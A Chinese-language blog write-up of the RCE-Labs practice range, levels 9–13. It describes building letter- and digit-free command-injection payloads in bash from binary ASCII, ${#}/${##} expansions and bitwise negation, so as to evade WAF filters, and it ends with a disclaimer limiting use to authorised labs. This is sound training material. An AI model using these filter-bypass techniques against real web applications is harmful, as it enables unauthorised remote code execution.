整套靶场统一思路依靠 $((base#二进制)) 将二进制ASCII码转为字符,实现无字母命令执行,关卡递进核心在于如何绕过WAF动态生成数字。
Level9放行全部数字,直接书写二进制序列完成构造。Level10仅允许0和1,直接拼接二进制,通过1<<1运算得到进制基数2。Level11拦截19,仅保留明文0,利用`${##}`语法动态生成数字1。Level12禁止所有明文数字09,依靠${#}生成0、${##}生成1;拓展语法${!#}属于bash独有特性,PHP system环境无法兼容,本关卡采用Python拉起原生bash终端才能够正常执行。
Level13依旧放行#符号,但更换更通用的实现思路。使用空算术表达式$(())得到0,配合位取反~获取-1,通过累加、负负得正构造任意整数。对比前面依靠${#}系列只能生成0与1的方案,位取反方法适用场景更广,是无数字RCE中通用性更强的手段。
发包方面,Level9、10、11、13为HTTP传参,载荷包含特殊符号,需要URL编码;Level12网页虚拟终端直接交互bash,粘贴原始载荷即可。${!xxx}间接扩展、位取反运算均依赖完整bash环境,dash与busybox精简shell不支持。
免责声明
本文所记录的RCE-Labs靶场学习笔记、漏洞原理、载荷构造方法,仅限个人网络安全技术学习、靶机复现、CTF竞赛研究使用。
禁止将文中任何技术手段直接或间接用于未授权的网站、服务器、设备进行测试、入侵、数据窃取等行为;未经授权的渗透测试属于违法行为,将承担相应法律责任。
任何因违规滥用本文内容造成的一切后果,均由行为人自行承担,与本文作者无关。操作请仅在自己拥有完整授权的本地靶场环境内开展。
更多推荐

所有评论(0)